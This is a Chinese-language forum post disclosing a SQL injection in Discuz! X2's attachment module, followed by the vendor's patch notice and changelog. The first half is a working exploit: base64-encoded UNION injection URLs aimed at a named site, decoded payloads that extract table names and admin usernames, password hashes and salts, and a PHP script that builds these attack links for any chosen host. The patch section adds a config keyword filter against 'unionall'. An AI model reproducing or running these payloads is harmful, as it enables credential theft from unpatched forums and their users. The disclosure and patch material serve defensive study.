Discuz! X2 SQL注射漏洞,支持Union
详细说明:
文件:source\module\forum\forum_attachment.php
if(!defined('IN_DISCUZ')) {
exit('Access Denied');
}
define('NOROBOT', TRUE);
@list($_G['gp_aid'], $_G['gp_k'], $_G['gp_t'], $_G['gp_uid'], $_G['gp_tableid']) = explode('|', base64_decode($_G['gp_aid']));
if(!empty($_G['gp_findpost']) && ($attach = DB::fetch_first("SELECT pid, tid FROM ".DB::table('forum_attachment')." WHERE aid='$_G[gp_aid]'"))) {
dheader('location: forum.php?mod=redirect&goto=findpost&pid='.$attach['pid'].'&ptid='.$attach['tid']);
}
变量aid 直接base64_decode 后传入 SQL查询,造成注射漏洞。。。
http://www.hackqing.com/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FIGxpa2UgJyVfbWVtYmVyfHh8eHx4fHg%3D
转向后网址
http://www.hackqing.com/forum.php?mod=redirect&goto=findpost&pid=1&ptid=pre_common_admincp_member
暴出表名 pre_common_admincp_member
base64解码
1′ and 1=2 union all select 1,group_concat(username,0x7C3274747C,password)
from pre_common_member where username like ‘admin|x|y
实际查询为:
$x="1' and 1=2 union all select 1,TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() and TABLE_NAME like '%_member|x|x|x|x";
//die (urlencode(base64_encode($x)));
如果不是默认前缀
暴前缀EXP
/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2V
sZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMR
VMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1
FIGxpa2UgJyVfbWVtYmVyfHh8eQ%3D
http://www.ludou.org/tool/o-base64/
测试
待续。。。。。<qing>
作者 jannock
---------------------------------------
再贴个PHP的EXP
<?php
$host=”http://X2.0论坛地址”;
$affuser=”要爆的用户名username”;
echo ‘<a href=”‘;
echo $host.”forum.php?mod=attachment&findpost=ss&aid=”;
echo urlencode(base64_encode(“1′ and 1=2 union all select 1,TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() and TABLE_NAME like ‘%_member|x|y”));
echo ‘” target=”_blank”>爆前缀</a>’;
echo “</br>”;
echo ‘<a href=”‘;
echo $host.”forum.php?mod=attachment&findpost=ss&aid=”;
echo urlencode(base64_encode(“1′ and 1=2 union all select 1,group_concat(username,0x7C,password,0x7C,salt) from pre_ucenter_members where username like ‘$affuser|x|y”));
echo ‘” target=”_blank”>爆password,salt</a>’;
?>
=======================================================
注:即使爆出来用户名与密码,但是密码的加密方式这 MD5(MD5($pass),$salt) 类型,$salt 是 A~z 0~9 随机数值,所以也很鸡肋的,破解不了密码。。。坐等大N出GetwebShell
=======================================================
官方补丁Discuz! X2 R20110629
(本补丁包含目前已发现的安全问题的修复, 请大家尽快更新, 以免站点遭受攻击)
下载
1. 完整安装包下载 (详见一楼)
2. 补丁包下载
简体中文 GBK
http://download.comsenz.com/DiscuzX/2.0/patch/x2update20110629_sc_gbk.zip
繁体中文 BIG5
http://download.comsenz.com/DiscuzX/2.0/patch/x2update20110629_tc_big5.zip
简体 UTF8
http://download.comsenz.com/DiscuzX/2.0/patch/x2update20110629_sc_utf8.zip
繁体 UTF8
http://download.comsenz.com/DiscuzX/2.0/patch/x2update20110629_tc_utf8.zip
升级方法
1. 根据原有的语言版本下载升级包
2. 解压缩, 将 upload目录中的文件上传至服务器, 覆盖旧文件
3. 使用创始人身份进入后台更新缓存
备注: 为了保障您的论坛更加安全, 请检查您的 config/config_global.php 文件
A 查找
$_config['security']['querysafe']['status'] = 1;
复制代码如果没有找到, 或者 $_config['security']['querysafe']['status'] = 其他值, 请务必改为1,
此功能将会为启动漏洞防御体系, 当出现未知SQL漏洞的时候, 可以将漏洞危害降至最低.
B 增加新的防御参数, 预防最近的SQL攻击代码. 6.29 以后新装的论坛无需进行此操作
在 config/config_global.php 文件中查找代码
$_config['security']['querysafe']['daction']['3'] = '(select';
复制代码在下面新增一行代码
$_config['security']['querysafe']['daction'][] = 'unionall';
复制代码
更新记录
FIX Flash标签代码属性
FIX 修正QQ互联在获取同步Feed状态位出错问题
FIX bbcode 标签嵌套引起的错误
FIX 当帖子被关闭时,允许显示
FIX 修改通过ucenter备份论坛数据bug
FIX 修复后台导出用户csv文件信息不对称
FIX 勋章细节
FIX 解决程序中没有移除membermerage引用造成的500错误
FIX 数组合并运算的BUG
FIX 文件可写权限检查导致内容溢出,只权限指定目录,取消子目录的查检
FIX 群组内置的附件模块转换为群组帖子模块
FIX 更新Manyou接口, 接口版本号更新至0.4
FIX 禁用在应用页面使用返回顶部,在这个页面会造成Flash渲染问题
FIX 修改游客时显示左侧导航,解决错位问题
FIX 修正抢楼帖中*号匹配所有楼层
FIX archiver 域名前缀防止重复收录
FIX 发主题时下载远程图片仍然提示至少要发一张图
FIX 后台搜索用户管理统计信息的链接问题
FIX 会员每小时发帖数限制功能
FIX 解决前台审核用户否决无效
FIX 头部个人信息部分样式优化
FIX 帖子用户名修改bug修改
FIX 修正已知的安全问题
感谢 www.wooyun.org 的 "Jannock" & "黑病毒" 提供安全建议